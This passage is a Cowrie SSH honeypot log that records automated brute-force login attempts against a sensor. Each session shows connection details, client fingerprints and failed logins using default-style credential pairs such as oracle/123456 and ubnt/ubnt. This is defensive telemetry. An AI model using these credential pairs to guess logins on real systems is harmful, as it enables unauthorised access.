{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33220,"dst_ip":"159.203.135.109","dst_port":22,"session":"26b098cadecd","protocol":"ssh","message":"New connection: 101.44.96.62:33220 (159.203.135.109:22) [session: 26b098cadecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:33.945986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:33.949816Z","src_ip":"101.44.96.62","session":"26b098cadecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:34.166413Z","src_ip":"101.44.96.62","session":"26b098cadecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:34.815281Z","src_ip":"101.44.96.62","session":"26b098cadecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37412,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9bb745fcadf","protocol":"ssh","message":"New connection: 195.178.110.218:37412 (159.203.135.109:22) [session: d9bb745fcadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:35.186246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:35.190735Z","src_ip":"195.178.110.218","session":"d9bb745fcadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:35.266572Z","src_ip":"195.178.110.218","session":"d9bb745fcadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:35.493505Z","src_ip":"195.178.110.218","session":"d9bb745fcadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:36.034026Z","src_ip":"101.44.96.62","session":"26b098cadecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:36.571430Z","src_ip":"195.178.110.218","session":"d9bb745fcadf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":54636,"dst_ip":"159.203.135.109","dst_port":22,"session":"801624804d64","protocol":"ssh","message":"New connection: 101.44.96.62:54636 (159.203.135.109:22) [session: 801624804d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:47.368845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:47.373438Z","src_ip":"101.44.96.62","session":"801624804d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:47.593369Z","src_ip":"101.44.96.62","session":"801624804d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink123","message":"login attempt [flink/flink123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:48.245183Z","src_ip":"101.44.96.62","session":"801624804d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:54:49.464535Z","src_ip":"101.44.96.62","session":"801624804d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43500,"dst_ip":"159.203.135.109","dst_port":22,"session":"97bedb702360","protocol":"ssh","message":"New connection: 101.44.96.62:43500 (159.203.135.109:22) [session: 97bedb702360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:00.872257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:00.877203Z","src_ip":"101.44.96.62","session":"97bedb702360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:01.094255Z","src_ip":"101.44.96.62","session":"97bedb702360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:01.749479Z","src_ip":"101.44.96.62","session":"97bedb702360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:02.970482Z","src_ip":"101.44.96.62","session":"97bedb702360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38716,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53db3db2f7c","protocol":"ssh","message":"New connection: 101.44.96.62:38716 (159.203.135.109:22) [session: f53db3db2f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:14.368411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:14.373099Z","src_ip":"101.44.96.62","session":"f53db3db2f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:14.591438Z","src_ip":"101.44.96.62","session":"f53db3db2f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:15.245512Z","src_ip":"101.44.96.62","session":"f53db3db2f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:16.466031Z","src_ip":"101.44.96.62","session":"f53db3db2f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50180,"dst_ip":"159.203.135.109","dst_port":22,"session":"51def94155b2","protocol":"ssh","message":"New connection: 101.44.96.62:50180 (159.203.135.109:22) [session: 51def94155b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:27.883200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:27.889163Z","src_ip":"101.44.96.62","session":"51def94155b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:28.101189Z","src_ip":"101.44.96.62","session":"51def94155b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"123456","message":"login attempt [oracle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:28.956176Z","src_ip":"101.44.96.62","session":"51def94155b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:30.174013Z","src_ip":"101.44.96.62","session":"51def94155b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b344cd195791","protocol":"ssh","message":"New connection: 101.44.96.62:41116 (159.203.135.109:22) [session: b344cd195791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:41.304411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:41.312672Z","src_ip":"101.44.96.62","session":"b344cd195791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:41.532696Z","src_ip":"101.44.96.62","session":"b344cd195791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:42.285892Z","src_ip":"101.44.96.62","session":"b344cd195791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:43.506221Z","src_ip":"101.44.96.62","session":"b344cd195791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55094,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9266567934","protocol":"ssh","message":"New connection: 101.44.96.62:55094 (159.203.135.109:22) [session: 2a9266567934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:54.806783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:54.810736Z","src_ip":"101.44.96.62","session":"2a9266567934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:55.027522Z","src_ip":"101.44.96.62","session":"2a9266567934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia123","message":"login attempt [nvidia/nvidia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:55.677874Z","src_ip":"101.44.96.62","session":"2a9266567934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:55:56.897784Z","src_ip":"101.44.96.62","session":"2a9266567934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57660,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e026669fd10","protocol":"ssh","message":"New connection: 101.44.96.62:57660 (159.203.135.109:22) [session: 1e026669fd10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:08.343237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:08.350780Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed